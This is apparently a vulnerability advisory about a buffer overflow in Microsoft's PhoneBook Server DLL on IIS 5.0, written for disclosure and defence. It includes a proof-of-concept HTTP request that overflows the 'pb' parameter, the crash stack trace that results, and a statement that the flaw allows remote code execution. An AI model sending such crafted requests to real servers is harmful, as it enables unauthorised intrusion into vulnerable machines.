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Microsoft PhoneBook Server Buffer Overflow
CORE has developed a working commercial exploit for their IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild. The Phone Book server services requests using the Internet Information Services 5.0 with URIs such as http://hostname/pbserver/ According to Microsoft's documentation a DLL (PBSERVER.DLL) is exported and the services can be used making requests with the following format: http://hostname/pbserver/pbserver.dll?osarch=&ostype=&osver=&cmver=&lcid=&pb ver=&pb=<STRING=db name> In the DLL checks the total lenght to ensure that request does not exceed 1024 bytes, however it is possible to overflow a local variable of fixed length in the DLL by sending a request with the following form: GET /pbserver/pbserver.dll?&&&&&&pb=AAAAAA... (less than 980 chars) HTTP/1.0\n\n The result is an exception reported in the Event log with source WAM like the following: The HTTP server encountered an unhandled exception while processing the ISAPI Application ' + 0x41414143 + 0x41414139 pbserver!HttpExtensionProc + 0x1C wam!DllGetClassObject + 0x808 RPCRT4!NdrServerInitialize + 0x4DB RPCRT4!NdrStubCall2 + 0x586 RPCRT4!CStdStubBuffer_Invoke + 0xC1 ole32!StgGetIFillLockBytesOnFile + 0x116EC ole32!StgGetIFillLockBytesOnFile + 0x12415 ole32!DcomChannelSetHResult + 0xDF0 ole32!DcomChannelSetHResult + 0xD35 ole32!StgGetIFillLockBytesOnFile + 0x122AD ole32!StgGetIFillLockBytesOnFile + 0x1210A ole32!StgGetIFillLockBytesOnFile + 0x11E22 RPCRT4!NdrServerInitialize + 0x745 RPCRT4!NdrServerInitialize + 0x652 RPCRT4!NdrServerInitialize + 0x578 RPCRT4!RpcSmDestroyClientContext + 0x9E RPCRT4!NdrConformantArrayFree + 0x8A5 RPCRT4!NdrConformantArrayFree + 0x3FC RPCRT4!RpcBindingSetOption + 0x395 RPCRT4!RpcBindingSetOption + 0x18E RPCRT4!RpcBindingSetOption + 0x4F8 KERNEL32!CreateFileA + 0x11B For additional information specific to this message please visit the Microsoft Online Support site located at: http://www.microsoft.com/contentredirect.asp. By sending a carefully crafted HTTP request an attacker can bypass the total length check and overflow a local variable in PBSERVER.DLL allowing the execution of arbitrary code as user GUEST on the vulnerable machine. |
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